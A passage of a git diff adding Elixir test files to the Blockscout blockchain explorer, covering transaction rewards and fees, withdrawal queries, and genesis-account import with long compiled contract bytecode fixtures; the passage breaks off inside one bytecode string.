Explorer.Chain.Block.Reward, + validators_contract_address: "0x0000000000000000000000000000000000000005", + keys_manager_contract_address: "0x0000000000000000000000000000000000000006" + ) + + consumer_pid = start_supervised!(Explorer.Chain.Fetcher.FetchValidatorInfoOnDemand) + :erlang.trace(consumer_pid, true, [:receive]) + + block = insert(:block) + + block_miner_hash_string = Base.encode16(block.miner_hash.bytes, case: :lower) + block_miner_hash = block.miner_hash + + insert( + :reward, + address_hash: block.miner_hash, + block_hash: block.hash, + address_type: :validator + ) + + insert( + :reward, + address_hash: block.miner_hash, + block_hash: block.hash, + address_type: :emission_funds + ) + + :transaction + |> insert(to_address: block.miner) + |> with_block(block) + |> Repo.preload(:token_transfers) + + # isValidator => true + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [%{id: id, method: _, params: [%{data: _, to: _}, _]}], _options -> + {:ok, + [%{id: id, jsonrpc: "2.0", result: "0x0000000000000000000000000000000000000000000000000000000000000001"}]} + end + ) + + # getPayoutByMining => 0x0000000000000000000000000000000000000001 + expect( + EthereumJSONRPC.Mox, + :json_rpc, + fn [%{id: id, method: _, params: [%{data: _, to: _}, _]}], _options -> + {:ok, [%{id: id, result: "0x000000000000000000000000" <> block_miner_hash_string}]} + end + ) + + assert [_, {_, _}] = Transaction.address_to_transactions_with_rewards(block.miner.hash, direction: :to) + + assert_receive {:trace, ^consumer_pid, :receive, {:"$gen_cast", {:fetch_or_update, ^block_miner_hash}}}, 1000 + :timer.sleep(500) + + on_exit(fn -> + Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: false) + + Application.put_env(:explorer, Explorer.Chain.Block.Reward, + validators_contract_address: nil, + keys_manager_contract_address: nil + ) + end) + end + + test "with transactions if rewards are not in the range of blocks" do + Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: true) + + block = insert(:block) + + insert( + :reward, + address_hash: block.miner_hash, + block_hash: block.hash, + address_type: :validator + ) + + insert( + :reward, + address_hash: block.miner_hash, + block_hash: block.hash, + address_type: :emission_funds + ) + + :transaction + |> insert(from_address: block.miner) + |> with_block() + |> Repo.preload(:token_transfers) + + assert [_] = Transaction.address_to_transactions_with_rewards(block.miner.hash, direction: :from) + + Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: false) + end + + test "with emissions rewards, but feature disabled" do + Application.put_env(:block_scout_web, BlockScoutWeb.Chain, has_emission_funds: false) + + block = insert(:block) + + insert( + :reward, + address_hash: block.miner_hash, + block_hash: block.hash, + address_type: :validator + ) + + insert( + :reward, + address_hash: block.miner_hash, + block_hash: block.hash, + address_type: :emission_funds + ) + + assert [] == Transaction.address_to_transactions_with_rewards(block.miner.hash) + end + end + + describe "fee/2" do + test "is_nil(gas_price), is_nil(gas_used)" do + assert {:maximum, nil} == Transaction.fee(%Transaction{gas: 100_500, gas_price: nil, gas_used: nil}, :wei) + end + + test "not is_nil(gas_price), is_nil(gas_used)" do + assert {:maximum, Decimal.new("20100000")} == + Transaction.fee( + %Transaction{gas: 100_500, gas_price: %Explorer.Chain.Wei{value: 200}, gas_used: nil}, + :wei + ) + end + + test "is_nil(gas_price), not is_nil(gas_used)" do + transaction = %Transaction{ + gas_price: nil, + max_priority_fee_per_gas: %Explorer.Chain.Wei{value: 10_000_000_000}, + max_fee_per_gas: %Explorer.Chain.Wei{value: 63_000_000_000}, + gas_used: Decimal.new(100), + block: %{base_fee_per_gas: %Explorer.Chain.Wei{value: 42_000_000_000}} + } + + if Application.get_env(:explorer, :chain_type) == :optimism do + assert {:actual, nil} == + Transaction.fee( + transaction, + :wei + ) + else + assert {:actual, Decimal.new("5200000000000")} == + Transaction.fee( + transaction, + :wei + ) + end + end + + test "not is_nil(gas_price), not is_nil(gas_used)" do + assert {:actual, Decimal.new("6")} == + Transaction.fee( + %Transaction{gas_price: %Explorer.Chain.Wei{value: 2}, gas_used: Decimal.new(3)}, + :wei + ) + end + end + + describe "get_method_name/1" do + test "returns method name for transaction with input data starting with 0x" do + transaction = + :transaction |> insert(input: "0x3078f1140ab0ba") + + assert "0x3078f114" == Transaction.get_method_name(transaction) + end end end diff --git a/apps/explorer/test/explorer/chain/withdrawal_test.exs b/apps/explorer/test/explorer/chain/withdrawal_test.exs new file mode 100644 index 000000000000..ab797f617219 --- /dev/null +++ b/apps/explorer/test/explorer/chain/withdrawal_test.exs @@ -0,0 +1,81 @@ +defmodule Explorer.Chain.WithdrawalTest do + use Explorer.DataCase + + alias Ecto.Changeset + alias Explorer.Chain.Withdrawal + + describe "changeset/2" do + test "with valid attributes" do + assert %Changeset{valid?: true} = + :withdrawal + |> build() + |> Withdrawal.changeset(%{}) + end + + test "with invalid attributes" do + changeset = %Withdrawal{} |> Withdrawal.changeset(%{racecar: "yellow ham"}) + refute(changeset.valid?) + end + + test "with duplicate information" do + %Withdrawal{index: index} = insert(:withdrawal) + + assert {:error, %Changeset{valid?: false, errors: [index: {"has already been taken", _}]}} = + %Withdrawal{} + |> Withdrawal.changeset(params_for(:withdrawal, index: index)) + |> Repo.insert() + end + end + + describe "block_hash_to_withdrawals_query/1" do + test "finds only withdrawals of this block" do + withdrawal_a = insert(:withdrawal) + withdrawal_b = insert(:withdrawal) + + results = + Withdrawal.block_hash_to_withdrawals_query(withdrawal_a.block_hash) + |> Repo.all() + |> Enum.map(& &1.index) + + refute Enum.member?(results, withdrawal_b.index) + assert Enum.member?(results, withdrawal_a.index) + end + + test "order the results DESC by index" do + block = insert(:block, withdrawals: insert_list(50, :withdrawal)) + + results = + Withdrawal.block_hash_to_withdrawals_query(block.hash) + |> Repo.all() + |> Enum.map(& &1.index) + + assert results |> Enum.sort(:desc) == results + end + end + + describe "address_hash_to_withdrawals_query/1" do + test "finds only withdrawals of this address" do + withdrawal_a = insert(:withdrawal) + withdrawal_b = insert(:withdrawal) + + results = + Withdrawal.address_hash_to_withdrawals_query(withdrawal_a.address_hash) + |> Repo.all() + |> Enum.map(& &1.index) + + refute Enum.member?(results, withdrawal_b.index) + assert Enum.member?(results, withdrawal_a.index) + end + + test "order the results DESC by index" do + address = insert(:address, withdrawals: insert_list(50, :withdrawal)) + + results = + Withdrawal.address_hash_to_withdrawals_query(address.hash) + |> Repo.all() + |> Enum.map(& &1.index) + + assert results |> Enum.sort(:desc) == results + end + end +end diff --git a/apps/explorer/test/explorer/chain_spec/genesis_data_test.exs b/apps/explorer/test/explorer/chain_spec/genesis_data_test.exs new file mode 100644 index 000000000000..db408148f587 --- /dev/null +++ b/apps/explorer/test/explorer/chain_spec/genesis_data_test.exs @@ -0,0 +1,53 @@ +# apps/explorer/test/explorer/chain_spec/geth/genesis_data.exs +defmodule Explorer.ChainSpec.GenesisDataTest do + use ExUnit.Case, async: false + + @besu_genesis "#{File.cwd!()}/test/support/fixture/chain_spec/qdai_genesis.json" + |> File.read!() + |> Jason.decode!() + setup do + # Patch application env + old_genesis_data = Application.get_env(:explorer, Explorer.ChainSpec.GenesisData) + + old_json_rpc_named_arguments = + Application.get_env(:indexer, :json_rpc_named_arguments) + + Application.put_env( + :explorer, + Explorer.ChainSpec.GenesisData, + Keyword.merge(old_genesis_data, + chain_spec_path: "#{File.cwd!()}/test/support/fixture/chain_spec/qdai_genesis.json", + precompiled_config_path: nil + ) + ) + + Application.put_env( + :indexer, + :json_rpc_named_arguments, + Keyword.merge(old_json_rpc_named_arguments, variant: EthereumJSONRPC.Besu) + ) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.ChainSpec.GenesisData, old_genesis_data) + Application.put_env(:indexer, :json_rpc_named_arguments, old_json_rpc_named_arguments) + :meck.unload() + end) + + :ok + end + + test "remaps Besu variant to Geth and calls GethImporter.import_genesis_accounts/1" do + test_pid = self() + + :meck.new(Explorer.ChainSpec.Geth.Importer, [:passthrough]) + + :meck.expect(Explorer.ChainSpec.Geth.Importer, :import_genesis_accounts, fn args -> + send(test_pid, {:import_called, args}) + {:ok, []} + end) + + Explorer.ChainSpec.GenesisData.fetch_genesis_data() + + assert_receive {:import_called, @besu_genesis}, 1000 + end +end diff --git a/apps/explorer/test/explorer/chain_spec/geth/importer_test.exs b/apps/explorer/test/explorer/chain_spec/geth/importer_test.exs index 36eebf24a71d..0bb7be80166a 100644 --- a/apps/explorer/test/explorer/chain_spec/geth/importer_test.exs +++ b/apps/explorer/test/explorer/chain_spec/geth/importer_test.exs @@ -11,13 +11,27 @@ defmodule Explorer.ChainSpec.Geth.ImporterTest do setup :set_mox_global - @genesis "#{File.cwd!()}/test/support/fixture/chain_spec/qdai_genesis.json" - |> File.read!() - |> Jason.decode!() + setup :verify_on_exit! + + @geth_genesis "#{File.cwd!()}/test/support/fixture/chain_spec/qdai_genesis.json" + |> File.read!() + |> Jason.decode!() + + @polygon_genesis "#{File.cwd!()}/test/support/fixture/chain_spec/polygon_genesis.json" + |> File.read!() + |> Jason.decode!() + + @optimism_genesis "#{File.cwd!()}/test/support/fixture/chain_spec/optimism_genesis.json" + |> File.read!() + |> Jason.decode!() + + @zkatana_genesis "#{File.cwd!()}/test/support/fixture/chain_spec/zkatana_genesis.json" + |> File.read!() + |> Jason.decode!() describe "genesis_accounts/1" do test "parses coin balance and contract code" do - coin_balances = Importer.genesis_accounts(@genesis) + coin_balances = Importer.genesis_accounts(@geth_genesis) assert Enum.count(coin_balances) == 3 @@ -32,6 +46,57 @@ defmodule Explorer.ChainSpec.Geth.ImporterTest do } == List.first(coin_balances) end + + test "parses polygon coin balance and contract code" do + coin_balances = Importer.genesis_accounts(@polygon_genesis) + + assert Enum.count(coin_balances) == 2 + + assert %{ + address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: <<0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1>> + }, + value: 0, + contract_code: + "0x608060405234801561001057600080fd5b50600436106101b05760003560e01c806370a08231116100ef578063ce513b6f11610092578063ce513b6f14610398578063dd62ed3e146103ab578063e0563ab1146103be578063ea0fee4f146103c7578063eacdc5ff146103cf578063eeb49945146103d8578063f3f43703146103eb578063fd242c14146103fe57600080fd5b806370a08231146102e7578063947287cf146102fa57806395d89b411461030357806397e5230d1461030b578063981b24d014610315578063a457c2d714610328578063a9059cbb1461033b578063c6b61e4c1461034e57600080fd5b8063395093511161015757806339509351146102735780633b878c22146102865780633ccfd60b1461028f5780633fd50001146102975780634ee2cd7e146102aa57806351351d53146102bd57806361cc2763146102cb57806362656003146102de57600080fd5b806306fdde03146101b5578063095ea7b3146101d35780630f50287c146101f657806318160ddd1461020b57806323b872dd1461021d578063284017f5146102305780632e17de7814610251578063313ce56714610264575b600080fd5b6101bd610411565b6040516101ca91906119ba565b60405180910390f35b6101e66101e13660046119e2565b6104a3565b60405190151581526020016101ca565b610209610204366004611a0e565b6104bd565b005b6035545b6040519081526020016101ca565b6101e661022b366004611a46565b61074f565b61023961202081565b6040516001600160a01b0390911681526020016101ca565b61020961025f366004611a87565b610773565b604051601281526020016101ca565b6101e66102813660046119e2565b61078a565b61023961101081565b6102096107ac565b61020f6102a5366004611a87565b6108bd565b61020f6102b83660046119e2565b6108de565b6102396002600160a01b0381565b6102096102d9366004611b10565b6108f1565b61020f60cc5481565b61020f6102f5366004611c29565b610b1f565b61020f61520881565b6101bd610b3a565b61020f620249f081565b61020f610323366004611a87565b610b49565b6101e66103363660046119e2565b610b54565b6101e66103493660046119e2565b610bcf565b61037d61035c366004611a87565b60ce6020526000908152604090208054600182015460029092015490919083565b604080519384526020840192909252908201526060016101ca565b61020f6103a6366004611c29565b610bdd565b61020f6103b9366004611c46565b610c0b565b61023961203081565b61020f600181565b61020f60cd5481565b6102096103e6366004611c7f565b610c36565b61020f6103f9366004611c29565b610d08565b61020f61040c366004611a87565b610d2f565b60606036805461042090611d08565b80601f016020809104026020016040519081016040528092919081815260200182805461044c90611d08565b80156104995780601f1061046e57610100808354040283529160200191610499565b820191906000526020600020905b81548152906001019060200180831161047c57829003601f168201915b5050505050905090565b6000336104b1818585610d79565b60019150505b92915050565b336002600160a01b03146105065760405163973d02cb60e01b815260206004820152600a60248201526914d654d5115350d0531360b21b60448201526064015b60405180910390fd5b60cd80546000918261051783611d58565b9190505590508083146105625760405162461bcd60e51b815260206004820152601360248201527215539156141150d5115117d15413d0d217d251606a1b60448201526064016104fd565b81356020830135116105ac5760405162461bcd60e51b81526020600482015260136024820152721393d7d09313d0d2d4d7d0d3d3535255151151606a1b60448201526064016104fd565b60cc546105be83356020850135611d71565b6105c9906001611d84565b6105d39190611dad565b1561062e5760405162461bcd60e51b815260206004820152602560248201527f45504f43485f4d5553545f42455f444956495349424c455f42595f45504f43486044820152645f53495a4560d81b60648201526084016104fd565b813560ce600061063f600185611d71565b815260200190815260200160002060010154600161065d9190611d84565b146106a05760405162461bcd60e51b8152602060048201526013602482015272494e56414c49445f53544152545f424c4f434b60681b60448201526064016104fd565b600081815260ce6020526040902082906106d182828135815560208201356001820155604082013560028201555050565b505060cf80546001810182556000919091526020838101357facb8d954e2cfef495862221e91bd7523613cf8808827cb33edfe4904cc51bf299092018290556040805190850135815284359186917f0ce8712c4dee4bd5a691f0bc1c39594671591e77395f8ebf6a3fb5f63fbea66a910160405180910390a4505050565b60003361075d858285610e9e565b610768858585610f12565b506001949350505050565b61077d33826110b6565b61078733826111e1565b50565b6000336104b181858561079d8383610c0b565b6107a79190611d84565b610d79565b33600090815260d06020526040812060cd5490919081906107ce90849061125a565b808555604051828152919350915033907f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b659060200160405180910390a260c95460cb54604080517f8ca9a95e41b5eece253c93f5b31eed1253aed6b145d8a6e14d913fdf8e7322936020820152338183015260608082018790528251808303909101815260808201928390526316f1983160e01b9092526001600160a01b03938416936316f198319361088693911691608401611dc1565b600060405180830381600087803b1580156108a057600080fd5b505af11580156108b4573d6000803e3d6000fd5b50505050505050565b60cf81815481106108cd57600080fd5b600091825260209091200154905081565b60006108ea83836112cc565b9392505050565b600054610100900460ff16158080156109115750600054600160ff909116105b8061092b5750303b15801561092b575060005460ff166001145b61098e5760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b60648201526084016104fd565b6000805460ff1916600117905580156109b1576000805461ff0019166101001790555b6109fb6040518060400160405280600c81526020016b15985b1a59185d1bdc94d95d60a21b815250604051806040016040528060048152602001631594d15560e21b815250611315565b60c980546001600160a01b038089166001600160a01b03199283161790925560ca805488841690831617905560cb80549287169290911691909117905560cc83905560005b8251811015610a9557610a8d838281518110610a5e57610a5e611de5565b602002602001015160000151848381518110610a7c57610a7c611de5565b60200260200101516020015161134a565b600101610a40565b5060cf80546001818101835560009283527facb8d954e2cfef495862221e91bd7523613cf8808827cb33edfe4904cc51bf299091019190915560cd558015610b17576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050505050565b6001600160a01b031660009081526033602052604090205490565b60606037805461042090611d08565b60006104b782611354565b60003381610b628286610c0b565b905083811015610bc25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016104fd565b6107688286868403610d79565b6000336104b1818585610f12565b60cd546001600160a01b038216600090815260d0602052604081209091610c04919061125a565b5092915050565b6001600160a01b03918216600090815260346020908152604080832093909416825291909152205490565b60ca546001600160a01b031633148015610c5d575060cb546001600160a01b038481169116145b610c9a5760405162461bcd60e51b815260206004820152600e60248201526d24a72b20a624a22fa9a2a72222a960911b60448201526064016104fd565b7f1bcc0f4c3fad314e585165815f94ecca9b96690a26d6417d7876448a9a867a69610cc9602060008486611dfb565b610cd291611e25565b03610d0257600080610ce78360208187611dfb565b810190610cf491906119e2565b91509150610b17828261134a565b50505050565b60cd546001600160a01b038216600090815260d06020526040812090916104b7919061137f565b600081815260ce60205260408120600101548015610d7057600083815260ce6020526040902054610d609082611d71565b610d6b906001611d84565b6108ea565b60009392505050565b6001600160a01b038316610ddb5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104fd565b6001600160a01b038216610e3c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104fd565b6001600160a01b0383811660008181526034602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6000610eaa8484610c0b565b90506000198114610d025781811015610f055760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016104fd565b610d028484848403610d79565b6001600160a01b038316610f765760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104fd565b6001600160a01b038216610fd85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104fd565b610fe383838361141d565b6001600160a01b0383166000908152603360205260409020548181101561105b5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104fd565b6001600160a01b038085166000818152603360205260408082208686039055928616808252908390208054860190559151600080516020611fd6833981519152906110a99086815260200190565b60405180910390a3610d02565b6001600160a01b0382166111165760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016104fd565b6111228260008361141d565b6001600160a01b038216600090815260336020526040902054818110156111965760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016104fd565b6001600160a01b0383166000818152603360209081526040808320868603905560358054879003905551858152919291600080516020611fd68339815191529101610e91565b505050565b61121381600160cd546111f49190611d84565b6001600160a01b038516600090815260d0602052604090209190611486565b816001600160a01b03167f655c1cd0236fb6dc4916f34c8ff10e3b18fcaea5b344dfc16c36fbb1bdfc5df28260405161124e91815260200190565b60405180910390a25050565b81546000905b83600101548110156112c5576000818152600285016020908152604091829020825180840190935280548352600101549082018190528410156112a357506112c5565b80516112af9084611d84565b92505080806112bd90611d58565b915050611260565b9250929050565b6001600160a01b0382166000908152606560205260408120819081906112f39085906115b1565b915091508161130a5761130585610b1f565b61130c565b805b95945050505050565b600054610100900460ff1661133c5760405162461bcd60e51b81526004016104fd90611e43565b611346828261169f565b5050565b61134682826116df565b60008060006113648460666115b1565b915091508161137557603554611377565b805b949350505050565b60018201546000908082036113985760009150506104b7565b60006113a5600183611d71565b90505b845481106114155760008181526002860160209081526040918290208251808401909352805483526001015490820181905285106113e65750611415565b80516113f29085611d84565b9350816000036114025750611415565b508061140d81611e8e565b9150506113a8565b505092915050565b6001600160a01b038316158061143a57506001600160a01b038216155b61147b5760405162461bcd60e51b81526020600482015260126024820152712a2920a729a322a92fa327a92124a22222a760711b60448201526064016104fd565b6111dc83838361179a565b8160000361149657611496611ea5565b825460018401548181036114ed576040805180820182528581526020808201868152600085815260028a0190925292812091518255915160019182015586018054916114e183611d58565b91905055505050505050565b600060028601816114ff600185611d71565b81526020019081526020016000206001015490508084101561152357611523611ea5565b83811015611572576040805180820182528681526020808201878152600086815260028b01909252928120915182559151600191820155870180549161156883611d58565b9190505550610b17565b84600287016000611584600186611d71565b815260200190815260200160002060000160008282546115a49190611d84565b9091555050505050505050565b600080600084116115fd5760405162461bcd60e51b815260206004820152601660248201527504552433230536e617073686f743a20696420697320360541b60448201526064016104fd565b60cd5484111561164f5760405162461bcd60e51b815260206004820152601d60248201527f4552433230536e617073686f743a206e6f6e6578697374656e7420696400000060448201526064016104fd565b600061165b84866117e2565b845490915081036116735760008092509250506112c5565b600184600101828154811061168a5761168a611de5565b906000526020600020015492509250506112c5565b600054610100900460ff166116c65760405162461bcd60e51b81526004016104fd90611e43565b60366116d28382611f01565b5060376111dc8282611f01565b6001600160a01b0382166117355760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016104fd565b6117416000838361141d565b80603560008282546117539190611d84565b90915550506001600160a01b038216600081815260336020908152604080832080548601905551848152600080516020611fd6833981519152910160405180910390a35050565b6001600160a01b0383166117b9576117b18261188f565b6111dc6118b9565b6001600160a01b0382166117d0576117b18361188f565b6117d98361188f565b6111dc8261188f565b815460009081036117f5575060006104b7565b82546000905b8082101561184257600061180f83836118c9565b6000878152602090209091508590820154111561182e5780915061183c565b611839816001611d84565b92505b506117fb565b60008211801561186e57508361186b8661185d600186611d71565b600091825260209091200190565b54145b156118875761187e600183611d71565b925050506104b7565b5090506104b7565b6001600160a01b0381166000908152606560205260409020610787906118b483610b1f565b6118e4565b6118c760666118b460355490565b565b60006118d86002848418611fc1565b6108ea90848416611d84565b60006118ef60cd5490565b9050806118fb8461192f565b10156111dc578254600180820185556000858152602080822090930193909355938401805494850181558252902090910155565b8054600090810361194257506000919050565b8154829061195290600190611d71565b8154811061196257611962611de5565b90600052602060002001549050919050565b6000815180845260005b8181101561199a5760208185018101518683018201520161197e565b506000602082860101526020601f19601f83011685010191505092915050565b6020815260006108ea6020830184611974565b6001600160a01b038116811461078757600080fd5b600080604083850312156119f557600080fd5b8235611a00816119cd565b946020939093013593505050565b6000808284036080811215611a2257600080fd5b833592506060601f1982011215611a3857600080fd5b506020830190509250929050565b600080600060608486031215611a5b57600080fd5b8335611a66816119cd565b92506020840135611a76816119cd565b929592945050506040919091013590565b600060208284031215611a9957600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6040805190810167ffffffffffffffff81118282101715611ad957611ad9611aa0565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611b0857611b08611aa0565b604052919050565b600080600080600060a08688031215611b2857600080fd5b8535611b33816119cd565b9450602086810135611b44816119cd565b9450604087810135611b55816119cd565b945060608801359350608088013567ffffffffffffffff80821115611b7957600080fd5b818a0191508a601f830112611b8d57600080fd5b813581811115611b9f57611b9f611aa0565b611bad858260051b01611adf565b818152858101925060069190911b83018501908c821115611bcd57600080fd5b928501925b81841015611c165784848e031215611bea5760008081fd5b611bf2611ab6565b8435611bfd816119cd565b8152848701358782015283529284019291850191611bd2565b8096505050505050509295509295909350565b600060208284031215611c3b57600080fd5b81356108ea816119cd565b60008060408385031215611c5957600080fd5b8235611c64816119cd565b91506020830135611c74816119cd565b809150509250929050565b60008060008060608587031215611c9557600080fd5b843593506020850135611ca7816119cd565b9250604085013567ffffffffffffffff80821115611cc457600080fd5b818701915087601f830112611cd857600080fd5b813581811115611ce757600080fd5b886020828501011115611cf957600080fd5b95989497505060200194505050565b600181811c90821680611d1c57607f821691505b602082108103611d3c57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600060018201611d6a57611d6a611d42565b5060010190565b818103818111156104b7576104b7611d42565b808201808211156104b7576104b7611d42565b634e487b7160e01b600052601260045260246000fd5b600082611dbc57611dbc611d97565b500690565b6001600160a01b038316815260406020820181905260009061137790830184611974565b634e487b7160e01b600052603260045260246000fd5b60008085851115611e0b57600080fd5b83861115611e1857600080fd5b5050820193919092039150565b803560208310156104b757600019602084900360031b1b1692915050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b600081611e9d57611e9d611d42565b506000190190565b634e487b7160e01b600052600160045260246000fd5b601f8211156111dc57600081815260208120601f850160051c81016020861015611ee25750805b601f850160051c820191505b81811015610b1757828155600101611eee565b815167ffffffffffffffff811115611f1b57611f1b611aa0565b611f2f81611f298454611d08565b84611ebb565b602080601f831160018114611f645760008415611f4c5750858301515b600019600386901b1c1916600185901b178555610b17565b600085815260208120601f198616915b82811015611f9357888601518255948401946001909101908401611f74565b5085821015611fb15787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600082611fd057611fd0611d97565b50049056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220ceae916e2fad24f9aaa4340b6994418d32d33c6ae1f266c50dd4ec5ccbdbce2764736f6c63430008130033" + } == + List.first(coin_balances) + end + + test "parses optimism coin balance and contract code" do + coin_balances = Importer.genesis_accounts(@optimism_genesis) + + assert Enum.count(coin_balances) == 2 + + assert %{ + address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: <<116, 214, 181, 2, 131, 172, 29, 101, 31, 154, 253, 195, 53, 33, 228, 193, 227, 51, 43, 120>> + }, + value: 0, + contract_code: + "0x608060405234801561001057600080fd5b506004361061011d5760003560e01c8063245a7bfc14610122578063313ce5671461014657806350d25bcd1461016457806354fd4d501461017e57806358303b10146101865780636001ac53146101a5578063668a0f021461020f5780637284e4161461021757806379ba5097146102945780638205bf6a1461029e5780638da5cb5b146102a65780638f6b4d91146102ae57806392eefe9b146102b65780639a6fc8f5146102dc578063a928c09614610302578063b5ab58dc14610328578063b633620c14610345578063bc43cbaf14610362578063c15973041461036a578063e8c4be301461038b578063f2fde38b14610393578063f8a2abd3146103b9578063feaf968c146103df575b600080fd5b61012a6103e7565b604080516001600160a01b039092168252519081900360200190f35b61014e6103fc565b6040805160ff9092168252519081900360200190f35b61016c610480565b60408051918252519081900360200190f35b61016c610588565b61018e6105db565b6040805161ffff9092168252519081900360200190f35b6101cb600480360360208110156101bb57600080fd5b50356001600160501b03166105e5565b60405180866001600160501b03168152602001858152602001848152602001838152602001826001600160501b031681526020019550505050505060405180910390f35b61016c61074e565b61021f610850565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610259578181015183820152602001610241565b50505050905090810190601f1680156102865780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61029c610993565b005b61016c610a51565b61012a610b53565b6101cb610b62565b61029c600480360360208110156102cc57600080fd5b50356001600160a01b0316610cc9565b6101cb600480360360208110156102f257600080fd5b50356001600160501b0316610cf4565b61029c6004803603602081101561031857600080fd5b50356001600160a01b0316610dff565b61016c6004803603602081101561033e57600080fd5b5035610ed7565b61016c6004803603602081101561035b57600080fd5b5035610fe1565b61012a6110e4565b61012a6004803603602081101561038057600080fd5b503561ffff166110f3565b61012a611116565b61029c600480360360208110156103a957600080fd5b50356001600160a01b0316611125565b61029c600480360360208110156103cf57600080fd5b50356001600160a01b0316611181565b6101cb6111e3565b6004546201000090046001600160a01b031690565b6000600460000160029054906101000a90046001600160a01b03166001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b15801561044f57600080fd5b505afa158015610463573d6000803e3d6000fd5b505050506040513d602081101561047957600080fd5b5051905090565b6005546000906001600160a01b031680158061053d575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b15801561051057600080fd5b505afa158015610524573d6000803e3d6000fd5b505050506040513d602081101561053a57600080fd5b50515b61057a576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b6105826112ed565b91505090565b6000600460000160029054906101000a90046001600160a01b03166001600160a01b03166354fd4d506040518163ffffffff1660e01b815260040160206040518083038186803b15801561044f57600080fd5b60045461ffff1690565b60055460009081908190819081906001600160a01b03168015806106aa575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b15801561067d57600080fd5b505afa158015610691573d6000803e3d6000fd5b505050506040513d60208110156106a757600080fd5b50515b6106e7576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b6002546001600160a01b0316610732576040805162461bcd60e51b815260206004820152601e6024820152600080516020611b2c833981519152604482015290519081900360640190fd5b61073b87611340565b939b929a50909850965090945092505050565b6005546000906001600160a01b031680158061080b575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b1580156107de57600080fd5b505afa1580156107f2573d6000803e3d6000fd5b505050506040513d602081101561080857600080fd5b50515b610848576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b604482015290519081900360640190fd5b61058261143d565b6060600460000160029054906101000a90046001600160a01b03166001600160a01b0316637284e4166040518163ffffffff1660e01b815260040160006040518083038186803b1580156108a357600080fd5b505afa1580156108b7573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405260208110156108e057600080fd5b8101908080516040519392919084600160201b8211156108ff57600080fd5b90830190602082018581111561091457600080fd5b8251600160201b81118282018810171561092d57600080fd5b82525081516020918201929091019080838360005b8381101561095a578181015183820152602001610942565b50505050905090810190601f1680156109875780820380516001836020036101000a031916815260200191505b50604052505050905090565b61099b6114ec565b6001600160a01b0316336001600160a01b0316146109f9576040805162461bcd60e51b815260206004820152601660248201527526bab9ba10313290383937b837b9b2b21037bbb732b960511b604482015290519081900360640190fd5b6000610a036114fb565b9050610a0e3361150a565b610a18600061152c565b60405133906001600160a01b038316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a350565b6005546000906001600160a01b0316801580610b0e575060408051630d629b5f60e31b815233600482018181526024830193845236604484018190526001600160a01b03861694636b14daf8946000939190606401848480828437600083820152604051601f909101601f1916909201965060209550909350505081840390508186803b158015610ae157600080fd5b505afa158015610af5573d6000803e3d6000fd5b505050506040513d6020811015610b0b57600080fd5b50515b610b4b576040805162461bcd60e51b81526020600482015260096024820152684e6f2061636365737360b81b60448201529051908190036064